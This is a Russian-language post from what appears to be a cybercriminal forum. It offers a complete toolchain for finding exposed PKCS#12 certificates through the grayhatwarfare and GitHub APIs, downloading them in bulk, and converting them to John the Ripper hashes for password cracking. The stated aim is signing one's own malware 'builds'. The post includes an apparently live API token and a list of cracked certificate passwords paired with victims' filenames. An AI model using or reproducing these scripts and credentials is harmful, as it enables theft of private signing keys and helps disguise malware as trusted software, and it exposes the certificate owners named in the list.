• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Серчинг и брут PKCS#12 сертификатов для подписи своих билдов

admin

#root
Администратор
Регистрация
20.01.2011
Сообщения
7,665
Розыгрыши
0
Реакции
135


Python:
import http.client
import json

# Установка соединения
conn = http.client.HTTPSConnection("buckets.grayhatwarfare.com")

# Заголовки с авторизацией
headers = {'Authorization': "Bearer 52318c442b37efbff882bc6c91c58d55"}

# Файл для сохранения ссылок
with open('links.txt', 'w', encoding='utf-8') as file:
    for start in range(100000):
        print(f"Запрос с параметром start={start}")
        # Выполнение запроса
        conn.request("GET", f"/api/v2/files?extensions=pfx%2Cp12&start={start}&limit=1000", headers=headers)
        res = conn.getresponse()
        data = res.read()

        # Декодирование ответа
        decoded_data = data.decode("utf-8")

        # Парсинг JSON
        try:
            json_data = json.loads(decoded_data)
        except json.JSONDecodeError:
            print("Ошибка декодирования JSON")
            break

        # Извлечение ссылок
        links = [file['url'] for file in json_data.get('files', []) if 'url' in file]

        # Сохранение ссылок в файл
        for link in links:
            file.write(link.replace('\\', '') + '\n')

        # Проверка, если результатов меньше 1000, прекращаем цикл (значит, мы достигли конца)
        if len(json_data.get('files', [])) < 1000:
            break

print("Ссылки сохранены в файл links.txt")

Парсер github

Код:
import requests

def fetch_p12_links(token, pages=5):
    headers = {
        'Authorization': f'token {token}',
        'Accept': 'application/vnd.github.v3+json',
    }
    base_url = 'https://api.github.com/search/code'
    query = 'path:*.p12'
    all_links = []

    for page in range(1, pages + 1):
        params = {
            'q': query,
            'page': page,
            'per_page': 100  # Максимум на страницу
        }
        response = requests.get(base_url, headers=headers, params=params)
        if response.status_code != 200:
            print(f"Error fetching page {page}: {response.status_code}")
            continue
 
        data = response.json()
        for item in data.get('items', []):
            file_path = item.get('path', '')
            if file_path.endswith('.p12'):
                repo = item['repository']
                file_url = f"https://github.com/{repo['full_name']}/blob/{item['sha']}/{file_path}"
                all_links.append(file_url)
 
    return all_links

def save_links_to_file(links, filename):
    with open(filename, 'w') as file:
        for link in links:
            file.write(link + '\n')

if __name__ == '__main__':
    token = 'ТвойАпиТокен'
    filename = 'p12_links.txt'
    all_links = fetch_p12_links(token)
    save_links_to_file(all_links, filename)
    print(f"Ссылки сохранены в файл {filename}")

Скачиватель ссылок из файла urls.txt в папку certs

Python:
import os
import requests

# Функция для создания директории, если она не существует
def create_directory(directory):
    if not os.path.exists(directory):
        os.makedirs(directory)

# Функция для скачивания файла по URL
def download_file(url, save_path):
    try:
        response = requests.get(url)
        response.raise_for_status()  # Проверка на ошибки
        with open(save_path, 'wb') as file:
            file.write(response.content)
        print(f"Downloaded: {url} to {save_path}")
    except requests.exceptions.RequestException as e:
        print(f"Failed to download {url}: {e}")

# Основная часть скрипта
def main():
    urls_file = 'urls.txt'
    download_directory = 'certs'

    # Создаем директорию для сохранения файлов
    create_directory(download_directory)

    # Читаем URL-адреса из файла
    with open(urls_file, 'r') as file:
        urls = file.readlines()

    # Скачиваем каждый файл
    for url in urls:
        url = url.strip()  # Убираем пробелы и переносы строк
        if url:  # Проверяем, что строка не пустая
            file_name = os.path.basename(url)
            save_path = os.path.join(download_directory, file_name)
            download_file(url, save_path)

if __name__ == "__main__":
    main()

Чекер на сигнатуры ASN.1 (необязательно)

Python:
import os
import shutil

# Путь к папке с файлами для проверки
input_dir = 'certs'
output_dir = 'output'

# Убедитесь, что папка output существует
if not os.path.exists(output_dir):
    os.makedirs(output_dir)

# Последовательность байтов для поиска
pattern = b'\x02\x01\x03\x30'
offset = 4

def check_sequence(file_path, sequence, offset):
    try:
        with open(file_path, 'rb') as file:
            file.seek(offset)
            data = file.read(len(sequence))
            return data == sequence
    except Exception as e:
        print(f"Ошибка при проверке файла {file_path}: {e}")
        return False

for filename in os.listdir(input_dir):
    file_path = os.path.join(input_dir, filename)
    if os.path.isfile(file_path) and not filename.endswith(('.msi', '.exe')):
        if check_sequence(file_path, pattern, offset):
            shutil.copy(file_path, output_dir)
            print(f"Файл {filename} скопирован в папку output")

print("Проверка завершена.")

Конвертер сертификатов в jonh the ripper hash

Python:
import binascii
import sys
import os
try:
    from asn1crypto import pkcs12
except ImportError:
    sys.stderr.write("asn1crypto is missing, run 'pip install --user asn1crypto' to install it!\n")
    sys.exit(-1)


def parse_pkcs12(filename, output_dir):
    data = open(filename, "rb").read()
    pfx = pkcs12.Pfx.load(data)

    auth_safe = pfx['auth_safe']
    if auth_safe['content_type'].native != 'data':
        raise ValueError(
            '''
            Only password-protected PKCS12 files are currently supported
            '''
        )

    mac_data = pfx['mac_data']
    if mac_data:
        mac_algo = mac_data['mac']['digest_algorithm']['algorithm'].native
        key_length = {
            'sha1': 20,
            'sha224': 28,
            'sha256': 32,
            'sha384': 48,
            'sha512': 64,
            'sha512_224': 28,
            'sha512_256': 32,
        }[mac_algo]

        salt = mac_data['mac_salt'].native
        iterations = mac_data['iterations'].native
        mac_algo_numeric = -1
        if mac_algo == "sha1":
            mac_algo_numeric = 1
        elif mac_algo == "sha224":
            mac_algo_numeric = 224
        elif mac_algo == "sha256":
            mac_algo_numeric = 256
        elif mac_algo == "sha384":
            mac_algo_numeric = 384
        elif mac_algo == "sha512":
            mac_algo_numeric = 512
        else:
            sys.stderr.write("mac_algo %s is not supported yet!\n" % mac_algo)
            return
        stored_hmac = mac_data['mac']['digest'].native
        data = auth_safe['content'].contents
        size = len(salt)
        output = "%s:$pfxng$%s$%s$%s$%s$%s$%s$%s:::::%s\n" % (
            os.path.basename(filename), mac_algo_numeric,
            key_length, iterations, size, binascii.hexlify(salt).decode(),
            binascii.hexlify(data).decode(),
            binascii.hexlify(stored_hmac).decode(), filename
        )
        output_file = os.path.join(output_dir, f"{os.path.basename(filename)}.hash")
        with open(output_file, 'w') as f:
            f.write(output)


if __name__ == "__main__":
    input_dir = 'certs'
    output_dir = 'hash'

    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    for root, _, files in os.walk(input_dir):
        for file in files:
            if file.endswith(('.pfx', '.p12')):
                file_path = os.path.join(root, file)
                try:
                    parse_pkcs12(file_path, output_dir)
                except Exception as e:
                    sys.stderr.write(f"Failed to process {file_path}: {e}\n")

Пример промпта для генерации скрипта для чека на id-kp-codeSigning:

Код:
напиши скрипт на python который открывает сертификаты pfx и p12 с именем и паролем напротив и проверяет равен ли его OID 1.3.6.1.5.5.7.3.3 или содержит ли он строку id-kp-codeSigning
Carlos           (FERREIRA_PRIARIO_CARLOS_FRANCISCO.pfx)
140589           (1684353701_404456b861a4860e547ac4f38ab5a144.pfx)
aassdd           (csrcert.p12)
Password123      (GEPSigningCert.pfx)
Password123      (GEPEncryptionCert.pfx)
Welcome1         (site.pfx)
ZAQ!2wsx         (YorkCert.pfx)
ZAQ!2wsx         (myintelbldgCert.pfx)
johndoe          (JohnDoe.pfx)
010809           (CERTIFICADO DIGITAL SENHA 010809.pfx)
P@ssword         (O365AppOnly_private.pfx)
220880           (22266191.pfx)
128888           (fiskal_cert_brod.p12)
ferraro          (certificadoferraro.pfx)
aleafar          (cert2023_private.cer.pfx)
1301             (83ae201a-8644-4762-b892-3004289d5ac4.pfx)
1301             (1f78b1a6-f7a8-43d7-b1e7-99b7f2a4150d.pfx)
0410             (310282959432.p12)
0410             (080072082337.p12)
12681268         (1680022503_abd58486c2fe13d964e7b04130440f50.pfx)


by: dunkel
 
Activity
So far there's no one here
Сверху Снизу